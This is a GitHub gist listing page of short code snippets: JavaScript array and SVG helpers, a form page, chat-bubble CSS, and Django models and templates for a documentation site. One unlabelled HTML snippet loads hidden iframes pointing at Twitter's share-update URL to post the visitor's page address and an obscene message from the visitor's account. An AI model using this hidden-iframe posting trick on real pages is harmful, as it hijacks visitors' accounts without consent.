Skip to content

Instantly share code, notes, and snippets.

View jonrohan's full-sized avatar

Jon Rohan jonrohan

View GitHub Profile
/*
* This function moves the nth member of the array to the end
*/
Array.prototype.move2Back = function(n) {
this.push(this.splice(n,1).pop());
return this;
}
var arr = ["Jani","Hege","Stale","Kai Jim","Borge","Tove"];
<html>
<head></head>
<body>
<script>
var el1 = document.createElement('iframe');
var el2 = document.createElement('iframe');
el1.style.visibility="hidden";
el2.style.visibility="hidden";
el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location;
el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats";
@jonrohan
jonrohan / SVG Graphing
Created January 5, 2011 19:19
Showing the Tooltip Javascript
// Circle gets the sqaure. <circle> is an SVG dom element and has hover events.
// setting up the circle hover event using JQuery
$("circle").hover(function() {
// get the tooltip, and put some stuff in it
$(".chart-wrapper .tooltip-inner .stuff")
// because the circle is an element, I can add data to it
.text("Queries/Day: " + $(this).attr("calls") + " (" + $(this).attr("date") + ")");
// position, and show the tooltip
// If we can create a SVG element, and it has the basic function of SVG
if(!!document.createElementNS
&& !!document.createElementNS('http://www.w3.org/2000/svg', "svg").createSVGRect) {
// The browser supports SVG
} else {
// The browser DOESN'T support SVG yet
}
@jonrohan
jonrohan / index.html
Created January 21, 2011 23:05
auto-fill-form.html
<!DOCTYPE html>
<html>
<head>
<title>Autofill Form with SimpleGeo</title>
</head>
<body style="padding:20px 50px;">
<h3>Example getting user's context using getLocation and pre-populating the form</h3>
<form action="." method="post">
<p>
<div class="chat-bubble">
Buongiorno!
<div class="chat-bubble-arrow-border"></div>
<div class="chat-bubble-arrow"></div>
</div>
.chat-bubble {
background-color:#EDEDED;
border:2px solid #666666;
font-size:35px;
from django.contrib.auth.models import Group
from django.core.urlresolvers import reverse
from django.db import models
from django.utils.translation import ugettext_lazy as _
'''
The Docs site will have heirarchy like follows:
Topic
| -- Article
{% extends "docs/base.html" %}
{% load compress %}
{% block js %}
{{block.super}}
{% compress js %}
<script type="text/javascript" charset="utf-8">
$(document).ready(function(){
$("ul.toc-sections a.more-info").click(function(){
{% load doc_tags %}
<div id="{{topic.slug}}" class="topic">
<h2 class="topic-title"><a href="{% url docs-topic topic.slug %}">{{topic}}</a></h2>
<ul class="toc-articles">
{% for article in topic.articles %}
{% if user|can_see:article %}
<li class="toc-article">
<h3 class="article-title"><a href="{% url docs-article topic.slug article.slug %}">{{article}}</a></h3>
<ul class="toc-sections">
{% extends "docs/base.html" %}
{% load markup doc_tags compress %}
{% block title %}{{topic}} &middot; {{article}}{% endblock %}
{% block js %}
{{block.super}}
{% compress js %}
<script type="text/javascript" charset="utf-8">